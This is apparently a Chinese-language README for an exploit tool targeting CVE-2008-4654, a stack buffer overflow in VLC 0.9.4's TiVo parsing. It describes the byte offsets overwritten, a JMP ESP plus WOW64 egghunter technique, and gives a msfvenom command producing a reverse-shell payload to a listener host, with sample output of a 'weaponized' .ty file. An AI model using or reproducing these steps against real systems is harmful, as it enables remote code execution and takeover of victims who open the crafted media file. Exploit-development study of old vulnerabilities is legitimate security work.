CVE-2008-4654

针对VideoLan的VLC Media Player 0.9.4在处理TiVo文件时出现的栈缓冲区溢出漏洞CVE-2008-4654的功能完整的利用程序。它针对运行在64位Windows系统上的32位二进制文件，并使用WOW64 egghunter来绕过有限的栈空间。

使用方法

更新脚本：

将脚本中的占位符 buf = b'[...]' 替换为你自己的shellcode（例如，来自 msfvenom）。
如果需要不同的标签或自定义egghunter，可酌情调整 EGG_HUNTER_WOW64 shellcode。

python .\CVE-2008-4654.py --help

CVE-2008-4654 - VLC v0.9.4 Tivo Stack Buffer Overflow - by Maurice Fielenbach (grimlockx) - Hexastrike Cybersecurity UG (haftungsbeschränkt)

usage: CVE-2008-4654.py [-h] --input INPUT --output OUTPUT

将给定的TiVo文件转换为携带预定义shellcode的武器。

options:
  -h, --help       显示此帮助信息并退出
  --input INPUT    要武器化的输入TiVo文件路径。
  --output OUTPUT  保存修改后（武器化）的TiVo文件的路径。

工作原理

脚本在TiVo文件中搜索特定的字节模式（TIVO_PES_FILEID）。
它将一个4字节字段（该模式后20字节处）覆盖为 b"\x00\x00\x00\xff"，从而设置越界读取，导致栈溢出。
然后，它将另一个区域（TIVO_PES_FILEID 后92字节处）替换为自定义载荷。
该载荷包括：
- 一个JMP ESP地址，用于将执行流导向栈。
- 一个WOW64专用的egghunter，用于扫描内存中标记 w00tw00t。
- 一个大的用户自定义shellcode载荷（第二阶段），放置在标记之后，超越有限的栈空间。
当VLC处理修改后的TiVo文件时，最终会触发溢出并执行egghunter。egghunter找到完整的shellcode并运行它，从而绕过栈大小限制。

示例

载荷生成

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.10.150 LPORT=6666 -a x86 -f python -b '\x00'

TiVo文件创建

将占位符 buf = b'[...]' 替换为之前生成的shellcode。
从 https://samples.mplayerhq.hu/TiVo/ 下载一个示例TiVo文件。

PS C:\ > python .\CVE-2008-4654.py --input .\test.ty --output .\hazard.ty

CVE-2008-4654 - VLC v0.9.4 Tivo Stack Buffer Overflow - by Maurice Fielenbach (grimlockx) - Hexastrike Cybersecurity UG (haftungsbeschränkt)

[+] 在偏移量0x300000处找到TIVO_PES_FILEID。
[+] 将偏移量0x300014处的4字节替换为0x000000ff。
[+] 将偏移量0x30005c处的685字节替换为自定义载荷。
[+] 成功武器化：.\hazard.ty

注意事项

该利用程序仅适用于x64 Windows，因为使用了WOW64 egghunter。纯x86方法需要使用适用于32位系统的标准egghunter。
对于此特定向量，除了\x00之外没有其他主要坏字符，这简化了载荷生成。
要深入了解egghunting和WOW64的细节，请参阅Corelan的WOW64 Egghunter文章和Matt (Skape) Miller的论文。

CVE-2008-4654

最受欢迎

CVE-2008-4654

使用方法

工作原理

示例

载荷生成

TiVo文件创建

注意事项

资源